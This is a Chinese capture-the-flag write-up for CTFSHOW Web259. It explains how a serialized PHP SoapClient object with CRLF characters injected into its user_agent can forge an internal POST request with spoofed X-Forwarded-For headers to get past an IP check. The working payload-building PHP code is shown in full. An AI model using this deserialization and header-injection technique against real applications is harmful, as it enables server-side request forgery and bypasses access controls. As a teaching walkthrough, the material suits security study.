首页 > 其他分享 >CTFSHOW Web259 SoapClient原生类的反序列化

CTFSHOW Web259 SoapClient原生类的反序列化

时间:2022-08-26 16:47:51浏览次数:123  
标签:127.0 Web259 0.1 SoapClient CTFSHOW 序列化 php location

 

 

index.php

 

 

 

看到该题目第一眼,大脑直接一个简单的想法就是通过访问flag.php添加X-Forwarded-For然后POST发送token数据。

但!在本题的环境当中,由于使用了Cloudflare代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头,在两次调用array_pop后我们取得的始终是固定的服务器IP。

因此我们只能通过SoapClient原生类的反序列化来做该题目。

 

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用 __call 方法。下面我们一步步解释原理。

 

我们先用nc开启本地监听:我这里是mac电脑所以命令行是:nc -l 7799

然后运行下面的php代码即可。

<?php //token=ctfshow $client = new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:7799'));  //创建一个对象,里面的参数第一个一般为null,第二个参数是数组形式,想要了解更多自行百度。 $client->getFlag();  //这里我们调用一个不存在的方法来触发SoapClient类的__call函数,据我了解该默认__call函数会发送此请求给服务器。 ?>

观察nc监听的结果如下

 

 我们创建对象的时候设置的参数‘uri’体现在第二个红箭头指向的地方,‘location’具体表现在POST和Host。

 我们还可以控制参数User-Agent,通过创建对象的时候添加参数'user_agent'=>$u,具体看如下php代码

<?php //token=ctfshow $u = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:7799','user_agent'=>$u)); $client->getFlag(); ?>

里面的换行我们用\r\n表示而不是\n\r。因为我们要以post方式提交一个参数token=ctfshow,所以Content-Type: application/x-www-form-urlencoded并Content-Length: 13\r\n\r\ntoken=ctfshow 。而这里的X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1是为了绕过那两次数组弹出元素。

结果如下

 

 发现没问题的话,我们就可以反序列化该对象,url编码,提交参数获取flag即可。这里注意将location修改为和我们的题目相关。

<?php //token=ctfshow $u = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1/flag.php','user_agent'=>$u)); //$client->getFlag(); echo urlencode(serialize($client)); ?> 至此收尾该题。    

 

标签:127.0,Web259,0.1,SoapClient,CTFSHOW,序列化,php,location
From: https://www.cnblogs.com/meng-han/p/16626675.html

相关文章

  • rest_framework:序列化器类
    一.序列化器类序列化就是把数据转换为json在服务端发送到客户端反序列化是客户端法的数据发送到服务端服务端通过反序列化把数据转换为jsonfromrest_frameworkimp......
  • 面试题:Java序列化与反序列化
    目录序列化和反序列化的概念应用场景?序列化实现的方式继承Serializable接口,普通序列化继承Externalizable接口,强制自定义序列化serialVersionUID的作用静态变量不会被序列......
  • ctfshow 萌新web系列--2
    <html><head><title>ctf.show萌新计划web1</title><metacharset="utf-8"></head><body><?php#包含数据库连接文件include("config.php");#判断get提......
  • ctfshow 萌新web系列--1
    打开靶机 <html><head><title>ctf.show萌新计划web1</title><metacharset="utf-8"></head><body><?php#包含数据库连接文件include("config.php");......
  • DRF当中序列化器中通过重写create()来实现保护登录保护
    在DRF原来源码框架中,我们知道保存的用户信息时,用户的密码是被明文保存到数据库中。代码实classUserRegisterModelSerializer(serializers.ModelSerializer)   """......
  • 序列化和反序列化
    序列化:把对象变成字符串。一般对象和json格式一样。反序列化:把json字符串转化为对象类型。 参考资料:C#JsonConvert.DeserializeObject反序列化与JsonConvert.Serial......
  • 序列化与反序列化的用法
    usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Runtime.Serialization.Formatters.Binary;usingSystem.IO;n......
  • fastjson反序列化CNVD-2019-22238
    漏洞原理:fastjson是阿里的开源json解析库,用来将json字符串反序列化为JavaBean类,或者将JavaBean类序列化为json字符串。在java审计中,需要关注的关键字:JSON.parse,......
  • C++反序列化--一种基于class infomation反射库的反序列化数据结构
    序列化与反序列化概念:将程序的某些数据存储在内存中,然后将其写入某个文件或是将它传输到网络中的另一台计算机上以实现通讯。这个将程序数据转化成能被存储并传输的格式的......
  • 关于Android中接口Reponse反序列化的思考
    总结kotlindataclass返回值最佳实践,使用ks!字段全写默认值,不可空,取消全部问号!ks速度更快并且支持N多数据类型protobuf+jsonkt默认值只有两种方式可以获取使用k......